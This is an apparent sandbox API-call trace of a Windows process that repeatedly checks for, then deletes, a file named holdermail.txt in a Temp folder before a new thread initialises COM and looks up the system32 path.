	[0089.515] GetFullPathNameW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holdermail.txt", nBufferLength=0x105, lpBuffer=0x6bce858, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holdermail.txt", lpFilePart=0x0) returned 0x33
	[0089.515] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x6bced4c) returned 1
	[0089.515] CreateFileW (lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holdermail.txt" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\temp\\holdermail.txt"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0xffffffff
	[0089.515] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6bcdb88) returned 1
	[0089.515] GetCurrentActCtx (in: lphActCtx=0x6bcee04 | out: lphActCtx=0x6bcee04*=0x6dbd24) returned 1
	[0089.516] CoRegisterMessageFilter (in: lpMessageFilter=0x0, lplpMessageFilter=0x6bcedb4 | out: lplpMessageFilter=0x6bcedb4*=0x0) returned 0x0
	[0089.516] PeekMessageW (in: lpMsg=0x6bced88, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x6bced88) returned 0
	[0089.516] GetFullPathNameW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holdermail.txt", nBufferLength=0x105, lpBuffer=0x6bce92c, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holdermail.txt", lpFilePart=0x0) returned 0x33
	[0089.517] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x6bced8c) returned 1
	[0089.517] GetFileAttributesExW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holdermail.txt" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\temp\\holdermail.txt"), fInfoLevelId=0x0, lpFileInformation=0x6bcee08 | out: lpFileInformation=0x6bcee08*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 0
	[0089.517] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6bced88) returned 1
	[0089.517] GetFullPathNameW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holdermail.txt", nBufferLength=0x105, lpBuffer=0x6bce858, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holdermail.txt", lpFilePart=0x0) returned 0x33
	[0089.517] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x6bced4c) returned 1
	[0089.517] CreateFileW (lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holdermail.txt" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\temp\\holdermail.txt"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0xffffffff
	[0089.518] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6bcdb88) returned 1
	[0089.518] GetCurrentActCtx (in: lphActCtx=0x6bcee04 | out: lphActCtx=0x6bcee04*=0x6dbd24) returned 1
	[0089.518] CoRegisterMessageFilter (in: lpMessageFilter=0x0, lplpMessageFilter=0x6bcedb4 | out: lplpMessageFilter=0x6bcedb4*=0x0) returned 0x0
	[0089.518] PeekMessageW (in: lpMsg=0x6bced88, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x6bced88) returned 0
	[0089.518] GetFullPathNameW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holdermail.txt", nBufferLength=0x105, lpBuffer=0x6bce92c, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holdermail.txt", lpFilePart=0x0) returned 0x33
	[0089.518] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x6bced8c) returned 1
	[0089.518] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6bced88) returned 1
	[0089.519] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x6bced4c) returned 1
	[0089.522] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6bcdb88) returned 1
	[0089.522] CoRegisterMessageFilter (in: lpMessageFilter=0x0, lplpMessageFilter=0x6bcedb4 | out: lplpMessageFilter=0x6bcedb4*=0x0) returned 0x0
	[0089.522] PeekMessageW (in: lpMsg=0x6bced88, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x6bced88) returned 0
	[0089.523] GetFullPathNameW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holdermail.txt", nBufferLength=0x105, lpBuffer=0x6bce92c, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holdermail.txt", lpFilePart=0x0) returned 0x33
	[0089.523] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x6bced8c) returned 1
	[0089.523] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6bced88) returned 1
	[0089.523] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x6bced4c) returned 1
	[0089.524] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6bcdb88) returned 1
	[0089.524] CoRegisterMessageFilter (in: lpMessageFilter=0x0, lplpMessageFilter=0x6bcedb4 | out: lplpMessageFilter=0x6bcedb4*=0x0) returned 0x0
	[0089.524] PeekMessageW (in: lpMsg=0x6bced88, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x6bced88) returned 0
	[0089.524] GetFullPathNameW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holdermail.txt", nBufferLength=0x105, lpBuffer=0x6bce92c, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holdermail.txt", lpFilePart=0x0) returned 0x33
	[0089.525] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x6bced8c) returned 1
	[0089.525] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6bced88) returned 1
	[0089.525] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x6bced4c) returned 1
	[0089.526] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6bcdb88) returned 1
	[0089.526] CoRegisterMessageFilter (in: lpMessageFilter=0x0, lplpMessageFilter=0x6bcedb4 | out: lplpMessageFilter=0x6bcedb4*=0x0) returned 0x0
	[0089.526] PeekMessageW (in: lpMsg=0x6bced88, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x6bced88) returned 0
	[0089.526] GetFullPathNameW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holdermail.txt", nBufferLength=0x105, lpBuffer=0x6bce92c, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holdermail.txt", lpFilePart=0x0) returned 0x33
	[0089.526] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x6bced8c) returned 1
	[0089.526] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6bced88) returned 1
	[0089.527] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x6bced4c) returned 1
	[0089.528] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6bcdb88) returned 1
	[0089.528] CoRegisterMessageFilter (in: lpMessageFilter=0x0, lplpMessageFilter=0x6bcedb4 | out: lplpMessageFilter=0x6bcedb4*=0x0) returned 0x0
	[0089.528] PeekMessageW (in: lpMsg=0x6bced88, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x6bced88) returned 0
	[0089.528] GetFullPathNameW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holdermail.txt", nBufferLength=0x105, lpBuffer=0x6bce92c, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holdermail.txt", lpFilePart=0x0) returned 0x33
	[0089.528] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x6bced8c) returned 1
	[0089.528] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6bced88) returned 1
	[0089.529] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x6bced4c) returned 1
	[0089.530] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6bcdb88) returned 1
	[0089.530] CoRegisterMessageFilter (in: lpMessageFilter=0x0, lplpMessageFilter=0x6bcedb4 | out: lplpMessageFilter=0x6bcedb4*=0x0) returned 0x0
	[0089.530] PeekMessageW (in: lpMsg=0x6bced88, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x6bced88) returned 0
	[0089.530] GetFullPathNameW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holdermail.txt", nBufferLength=0x105, lpBuffer=0x6bce92c, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holdermail.txt", lpFilePart=0x0) returned 0x33
	[0089.530] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x6bced8c) returned 1
	[0089.530] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6bced88) returned 1
	[0089.531] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x6bced4c) returned 1
	[0089.531] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6bcdb88) returned 1
	[0089.532] CoRegisterMessageFilter (in: lpMessageFilter=0x0, lplpMessageFilter=0x6bcedb4 | out: lplpMessageFilter=0x6bcedb4*=0x0) returned 0x0
	[0089.532] PeekMessageW (in: lpMsg=0x6bced88, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x6bced88) returned 0
	[0089.532] GetFullPathNameW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holdermail.txt", nBufferLength=0x105, lpBuffer=0x6bce92c, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holdermail.txt", lpFilePart=0x0) returned 0x33
	[0089.532] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x6bced8c) returned 1
	[0089.532] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6bced88) returned 1
	[0089.532] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x6bced4c) returned 1
	[0089.533] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6bcdb88) returned 1
	[0089.534] CoRegisterMessageFilter (in: lpMessageFilter=0x0, lplpMessageFilter=0x6bcedb4 | out: lplpMessageFilter=0x6bcedb4*=0x0) returned 0x0
	[0089.534] PeekMessageW (in: lpMsg=0x6bced88, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x6bced88) returned 0
	[0089.534] GetFullPathNameW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holdermail.txt", nBufferLength=0x105, lpBuffer=0x6bce92c, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holdermail.txt", lpFilePart=0x0) returned 0x33
	[0089.534] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x6bced8c) returned 1
	[0089.534] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6bced88) returned 1
	[0089.534] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x6bced4c) returned 1
	[0089.535] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6bcdb88) returned 1
	[0089.535] CoRegisterMessageFilter (in: lpMessageFilter=0x0, lplpMessageFilter=0x6bcedb4 | out: lplpMessageFilter=0x6bcedb4*=0x0) returned 0x0
	[0089.535] PeekMessageW (in: lpMsg=0x6bced88, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x6bced88) returned 0
	[0089.536] GetFullPathNameW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holdermail.txt", nBufferLength=0x105, lpBuffer=0x6bce92c, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holdermail.txt", lpFilePart=0x0) returned 0x33
	[0089.536] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x6bced8c) returned 1
	[0089.536] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6bced88) returned 1
	[0089.536] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x6bced4c) returned 1
	[0089.537] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6bcdb88) returned 1
	[0089.537] CoRegisterMessageFilter (in: lpMessageFilter=0x0, lplpMessageFilter=0x6bcedb4 | out: lplpMessageFilter=0x6bcedb4*=0x0) returned 0x0
	[0089.537] PeekMessageW (in: lpMsg=0x6bced88, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x6bced88) returned 0
	[0089.538] GetFullPathNameW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holdermail.txt", nBufferLength=0x105, lpBuffer=0x6bce92c, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holdermail.txt", lpFilePart=0x0) returned 0x33
	[0089.538] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x6bced8c) returned 1
	[0089.538] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6bced88) returned 1
	[0089.538] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x6bced4c) returned 1
	[0089.539] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6bcdb88) returned 1
	[0089.539] CoRegisterMessageFilter (in: lpMessageFilter=0x0, lplpMessageFilter=0x6bcedb4 | out: lplpMessageFilter=0x6bcedb4*=0x0) returned 0x0
	[0089.539] PeekMessageW (in: lpMsg=0x6bced88, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x6bced88) returned 0
	[0089.539] GetFullPathNameW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holdermail.txt", nBufferLength=0x105, lpBuffer=0x6bce92c, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holdermail.txt", lpFilePart=0x0) returned 0x33
	[0089.540] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x6bced8c) returned 1
	[0089.540] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6bced88) returned 1
	[0089.540] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x6bced4c) returned 1
	[0089.541] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6bcdb88) returned 1
	[0089.541] CoRegisterMessageFilter (in: lpMessageFilter=0x0, lplpMessageFilter=0x6bcedb4 | out: lplpMessageFilter=0x6bcedb4*=0x0) returned 0x0
	[0089.541] PeekMessageW (in: lpMsg=0x6bced88, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x6bced88) returned 0
	[0089.541] GetFullPathNameW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holdermail.txt", nBufferLength=0x105, lpBuffer=0x6bce92c, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holdermail.txt", lpFilePart=0x0) returned 0x33
	[0089.541] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x6bced8c) returned 1
	[0089.542] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6bced88) returned 1
	[0089.542] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x6bced4c) returned 1
	[0089.543] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6bcdb88) returned 1
	[0089.546] CoRegisterMessageFilter (in: lpMessageFilter=0x0, lplpMessageFilter=0x6bcedb4 | out: lplpMessageFilter=0x6bcedb4*=0x0) returned 0x0
	[0089.546] PeekMessageW (in: lpMsg=0x6bced88, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x6bced88) returned 0
	[0089.547] GetFullPathNameW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holdermail.txt", nBufferLength=0x105, lpBuffer=0x6bce92c, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holdermail.txt", lpFilePart=0x0) returned 0x33
	[0089.547] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x6bced8c) returned 1
	[0089.547] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6bced88) returned 1
	[0089.547] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x6bced4c) returned 1
	[0089.548] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6bcdb88) returned 1
	[0089.548] CoRegisterMessageFilter (in: lpMessageFilter=0x0, lplpMessageFilter=0x6bcedb4 | out: lplpMessageFilter=0x6bcedb4*=0x0) returned 0x0
	[0089.549] GetFullPathNameW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holdermail.txt", nBufferLength=0x105, lpBuffer=0x6bce92c, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holdermail.txt", lpFilePart=0x0) returned 0x33
	[0089.549] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x6bced8c) returned 1
	[0089.549] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6bced88) returned 1
	[0089.549] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x6bced4c) returned 1
	[0089.550] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6bcdb88) returned 1
	[0089.550] CoRegisterMessageFilter (in: lpMessageFilter=0x0, lplpMessageFilter=0x6bcedb4 | out: lplpMessageFilter=0x6bcedb4*=0x0) returned 0x0
	[0089.550] PeekMessageW (in: lpMsg=0x6bced88, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x6bced88) returned 0
	[0089.551] GetFullPathNameW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holdermail.txt", nBufferLength=0x105, lpBuffer=0x6bce92c, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holdermail.txt", lpFilePart=0x0) returned 0x33
	[0089.551] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x6bced8c) returned 1
	[0089.551] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6bced88) returned 1
	[0089.551] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x6bced4c) returned 1
	[0089.552] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6bcdb88) returned 1
	[0089.552] CoRegisterMessageFilter (in: lpMessageFilter=0x0, lplpMessageFilter=0x6bcedb4 | out: lplpMessageFilter=0x6bcedb4*=0x0) returned 0x0
	[0089.552] PeekMessageW (in: lpMsg=0x6bced88, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x6bced88) returned 0
	[0089.552] GetFullPathNameW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holdermail.txt", nBufferLength=0x105, lpBuffer=0x6bce92c, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holdermail.txt", lpFilePart=0x0) returned 0x33
	[0089.553] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x6bced8c) returned 1
	[0089.553] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6bced88) returned 1
	[0089.553] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x6bced4c) returned 1
	[0089.554] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6bcdb88) returned 1
	[0089.554] CoRegisterMessageFilter (in: lpMessageFilter=0x0, lplpMessageFilter=0x6bcedb4 | out: lplpMessageFilter=0x6bcedb4*=0x0) returned 0x0
	[0089.554] PeekMessageW (in: lpMsg=0x6bced88, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x6bced88) returned 0
	[0089.554] GetFullPathNameW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holdermail.txt", nBufferLength=0x105, lpBuffer=0x6bce92c, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holdermail.txt", lpFilePart=0x0) returned 0x33
	[0089.554] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x6bced8c) returned 1
	[0089.555] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6bced88) returned 1
	[0089.555] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x6bced4c) returned 1
	[0089.556] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6bcdb88) returned 1
	[0089.556] CoRegisterMessageFilter (in: lpMessageFilter=0x0, lplpMessageFilter=0x6bcedb4 | out: lplpMessageFilter=0x6bcedb4*=0x0) returned 0x0
	[0089.556] PeekMessageW (in: lpMsg=0x6bced88, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x6bced88) returned 0
	[0089.556] GetFullPathNameW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holdermail.txt", nBufferLength=0x105, lpBuffer=0x6bce92c, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holdermail.txt", lpFilePart=0x0) returned 0x33
	[0089.556] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x6bced8c) returned 1
	[0089.556] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6bced88) returned 1
	[0089.557] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x6bced4c) returned 1
	[0089.558] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6bcdb88) returned 1
	[0089.558] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x6bced8c) returned 1
	[0089.558] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6bced88) returned 1
	[0089.558] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x6bced4c) returned 1
	[0089.559] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6bcdb88) returned 1
	[0089.559] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x6bced8c) returned 1
	[0089.559] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6bced88) returned 1
	[0089.559] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x6bced4c) returned 1
	[0089.560] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6bcdb88) returned 1
	[0089.560] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x6bced8c) returned 1
	[0089.560] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6bced88) returned 1
	[0089.560] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x6bced4c) returned 1
	[0089.561] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6bcdb88) returned 1
	[0089.561] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x6bced8c) returned 1
	[0089.561] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6bced88) returned 1
	[0089.561] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x6bced4c) returned 1
	[0089.562] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6bcdb88) returned 1
	[0089.562] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x6bced8c) returned 1
	[0089.563] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6bced88) returned 1
	[0089.563] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x6bced4c) returned 1
	[0089.563] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6bcdb88) returned 1
	[0089.564] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x6bced8c) returned 1
	[0089.564] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6bced88) returned 1
	[0089.564] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x6bced4c) returned 1
	[0089.565] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6bcdb88) returned 1
	[0089.565] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x6bced8c) returned 1
	[0089.565] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6bced88) returned 1
	[0089.565] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x6bced4c) returned 1
	[0089.566] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6bcdb88) returned 1
	[0089.566] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x6bced8c) returned 1
	[0089.566] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6bced88) returned 1
	[0089.566] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x6bced4c) returned 1
	[0089.567] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6bcdb88) returned 1
	[0089.567] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x6bced8c) returned 1
	[0089.567] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6bced88) returned 1
	[0089.567] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x6bced4c) returned 1
	[0089.568] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6bcdb88) returned 1
	[0089.568] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x6bced8c) returned 1
	[0089.568] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6bced88) returned 1
	[0089.568] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x6bced4c) returned 1
	[0089.569] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6bcdb88) returned 1
	[0089.569] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x6bced8c) returned 1
	[0089.569] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6bced88) returned 1
	[0089.570] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x6bced4c) returned 1
	[0089.570] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6bcdb88) returned 1
	[0089.570] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x6bced8c) returned 1
	[0089.571] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6bced88) returned 1
	[0089.571] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x6bced4c) returned 1
	[0089.571] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6bcdb88) returned 1
	[0089.572] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x6bced8c) returned 1
	[0089.572] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6bced88) returned 1
	[0089.572] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x6bced4c) returned 1
	[0089.573] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6bcdb88) returned 1
	[0097.644] DeleteFileW (lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holdermail.txt" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\temp\\holdermail.txt")) returned 1
	[0097.644] CoGetContextToken (in: pToken=0x6bcf2c0 | out: pToken=0x6bcf2c0) returned 0x0
	[0097.645] CoUninitialize () 

Thread:
	id = 160
	os_tid = 0xad0

	[0098.594] CoInitializeEx (pvReserved=0x0, dwCoInit=0x2) returned 0x0
	[0098.630] CoTaskMemAlloc (cb=0x20c) returned 0x74ac88
	[0098.630] SHGetFolderPathW (in: hwnd=0x0, csidl=37, hToken=0x0, dwFlags=0x0, pszPath=0x74ac88 | out: pszPath="C:\\Windows\\system32") returned 0x0
	[0098.630] CoTaskMemFree (pv=0x74ac88) 
	[0098.630] GetFullPathNameW (in: lpFileName="C:\\Windows\\system32", nBufferLength=0x105, lpBuffer=0x6b5e4d0, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\system32", lpFilePart=0x0) returned 0x13
